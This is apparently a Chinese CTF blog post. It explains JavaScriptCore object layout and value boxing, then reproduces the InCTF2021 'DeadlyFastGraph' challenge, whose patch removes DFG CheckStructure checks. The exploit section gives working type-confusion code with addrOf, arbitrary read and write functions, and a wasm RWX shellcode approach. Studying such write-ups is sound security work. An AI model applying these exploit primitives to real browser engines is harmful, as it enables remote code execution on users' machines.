JSC入门与InCTF2021 DeadlyFastGraph
JSC 入门和一道入门题目的复现。
题目相关资料可在此处下载。
基础
借用参考文章中的图片描述JSC执行js代码的流程:
和 v8 类似,JSC 也有 JIT,有三种优化:BaseLine JIT、DFG JIT、FIL JIT。
直接通过js代码结合调试来观察其行为和内存布局。由于没有像 v8 一样的%SystemBreak
来下断点,使用 print 函数做断点,describe 函数来打印对象信息。.gdbinit
如下:
1 | set args --useConcurrentJIT=false /path/to/test.js |
test.js:
1 | var arr = [1.1, 2.2, 3.3]; |
1 | Object: 0x7ffff06ab5e8 with butterfly 0x7fe00cce0010 (Structure 0x7fffafcf9e30:[0x3bb9, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7ffff06bd768, Leaf]), StructureID: 15289 |
-8 的位置分别存放了 length 和 capacity。+0处为 JSCell,其中最重要的是最后两个字节,为 structureID,类似V8的map。CopyOnWriteArrayWithDouble
表示这是一个 double 类型的数组,存储的值和原始值相同。
再看对象obj,其中两个属性a和b对应的值从+0x10偏移处顺序存放:
可以看到此时 butterfly 字段为空,如果通过obj.x = 3
的形式动态添加属性,structureID 和 butterfly 都会发生改变,其属性的值存放在 butterfly-0x10处:
再次进行添加多个属性测试(只看 butterfly 中新增属性即可,因为截图时的 obj 已经改变):
1 | obj.xx = 16; |
可以发现其属性是按照由中间 length 字段处向低地址增长,下面的类似数组存在的部分向高地址增长,类似于蝴蝶向左右生长的翅膀?所以叫 butterfly 吧。这也就是一个 js 对象在内存中的布局:
一个 js 对象主要有以下内容:
- +0x0: JSCell:最低两个字节是StructureID,用于查找Structure,类似于v8的Map,用来确定属性的偏移位置等
- +0x8:butterfly:用来存储属性和数组内容
- +0x10:从这个偏移往后存储内联属性的内容
图中 butterflyIndexingMask 在本地测试中未发现该字段。slot的顺序应该向低地址增长。关于 JSObject、JSCell等更多详细源码在~/WebKit/Source/JavaScriptCore/runtime/xxx 中。
注意看上上图和上上上图中,属性对应的值的高16bit为0xfffe
,这是因为存储属性对应的值都是JSValue
,存入的值是经过编码(box)的值,也就是box
的值。取出时需要解码(unbox)才能得到原始的值。
关于编码的约定,在 ~/WebKit/Source/JavaScriptCore/runtime/JSCJSValue.h:392 中有如下注释:
1 | * The top 15-bits denote the type of the encoded JSValue: |
所以第一个属性的值为 0xfffe000000000001 - 0xfffe000000000000。
所以根据此,如果对象的值为 double,-0x2000000000000 后才是真正的值:
1 | var obj = {a:1.2, b:2.3}; |
指针的情况:
1 | var arr = [1.1, 2.2, 3.3]; |
1 | Object: 0x7ffff06ab5e8 with butterfly 0x7ff85c3e0010 (Structure 0x7fffafcf9e30:[0x56c0, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7ffff06bd768, Leaf]), StructureID: 22208 |
可以看到指针的值没有变化。
测试一下不是同类型元素的数组:
1 | var arr = [1, 2.2, {}, undefined]; |
1 | Object: 0x7ffff06ab3e8 with butterfly 0x7ff8214e4038 (Structure 0x7fffafcf9c70:[0xa0d, Array, {}, ArrayWithContiguous, Proto:0x7ffff06bd768]), StructureID: 2573 |
可以看到数组的类型被标记为 ArrayWithContiguous,其中的值也都是box的。
测试一下CopyOnWriteArrayWithInt32
:
1 | Object: 0x7ffff06ab568 with butterfly 0x7ff8191e0010 (Structure 0x7fffafcf9dc0:[0x29a8, Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7ffff06bd768, Leaf]), StructureID: 10664 |
目前只有CopyOnWriteArrayWithDouble
类型的数组,存放的数据是unbox的。
最后测试一下,对象的属性是数值的形式,键值对是如何存放的:
1 | var arr = [1, 2.2, {}, undefined];; |
第一次断下:
1 | Object: 0x7ffff06ab3e8 with butterfly 0x7ff82d5e4038 (Structure 0x7fffafcf9c70:[0x6418, Array, {}, ArrayWithContiguous, Proto:0x7ffff06bd768]), StructureID: 25624 |
butterfly紧挨着的。
如果对象的键为 int,那么就以 int 为下标在 butterfly 内存对应的位置里存放数据[butterfly + int * 8],是box的。其他位置为 nan。动态添加属性然后断下:
butterfly 重新申请,并且将属性的值box以后存储在了 butterfly 的第一个属性的 slot 中了。其他未变。
box 的机制有点类似于 v8 通过最后一个bit来区分 smi 和 pointer。
InCTF2021-DeadlyFastGraph
环境搭建
1 | git clone https://github.com/WebKit/WebKit.git |
patch分析
复现就用 debug 的 patch 了,因为没有去掉 print 等可供调试或可能非预期的函数。
1 | diff --git a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp |
根据 patch 找到源码位置,看一下关键的逻辑:
1 | class ConstantFoldingPhase : public Phase { |
通过 patch 的路径,可以看出这是 DFG JIT 阶段相关的优化(更多关于 JSC speculation 的内容可以阅读Speculation in JavaScriptCore | WebKit),函数名体现这是针对常量折叠的优化。大概流程是针对每一个BasicBlock,通过 indexInBlock 获取 node,然后对 node 的 op 进行判断,patch 位于 switch 到CheckStructure
这个 case(下面的case不管了先),看对backdoorUsed
的判断与另一个条件的判断为 ||,并且下面存在node->remove()
与 eliminated=true
,猜测和 v8 类似,白给了一次无条件消除CheckStructure
节点。回想起解析 JSC 对象主要是通过 structure,那么消除了该节点,意味着可以传入不同 structureID 的对象,完成类型混淆。
漏洞利用
poc 如下:
1 | var a1 = {a: 1.1, b: 2.2, c: 3.3}; |
经过优化以后,最后执行的 fun() 误认 a2 为 a1,进而在属性c对应的位置赋值。
回顾基础知识中,butterfly 字段很重要。对于对象来说,初始化的属性直接存放在 butterfly 字段下面,而如果是动态添加或者对象的属性的键为 int 时,则会在 butterfly 所指向的内存中进行存储。利用过程如下:
1 | var a1 = {a: 1.1, b: 2.2, c: 3.3, d: 4.4}; |
创建如上对象,利用漏洞覆写 a2 对象的属性 d 的位置,实际此处为 victim 的 butterfly 字段,覆写为 a3:
1
2
3
4
5
6
7
8
9function foo(obj, val) {
obj.d = val;
}
for (let i = 0; i < 100; i++) {
foo(a1, a3);
}
foo(a2, a3);此时 victim 的 butterfly 指向 a3 的 JSCell 的起始内存,victim[0] 对应了 JSCell,victim[1] 对应了 a3 的 butterfly
victim[2] 对应 a3 的属性 a,通过
a3.a=obj
与victim[2]
即可实现 addrOf:1
2
3
4function addrOf(obj) {
a3.a = obj;
return f2i(victim[2]);
}victim[1] 对应 a3 的 butterfly,那么可以随意修改其为任意地址,再通过 a3[0] 来读取和写入,实现 arbRead 与 arbWrite。但是要注意的是地址 -8 偏移处对应的是数组长度和空间大小,不能为 0:
1
2
3
4
5
6
7
8
9function arbRead(addr) {
victim[1] = i2f(addr);
return f2i(a3[0]);
}
function arbWrite(addr, val) {
victim[1] = i2f(addr);
a3[0] = i2f(val);
}
最后和 v8 一样,通过 wasm function,找到 rwx 段地址,任意地址写 shellcode 完成利用。
修改 victim 的 butterfly 为 a3。
在 wasm_func + 0x38 处发现了 rwx 段:
修改了 a3 的 butterfly 为 rwx 段地址并写入了 shellcode:
最终效果:
完整exp:
1 | var buf = new ArrayBuffer(8); |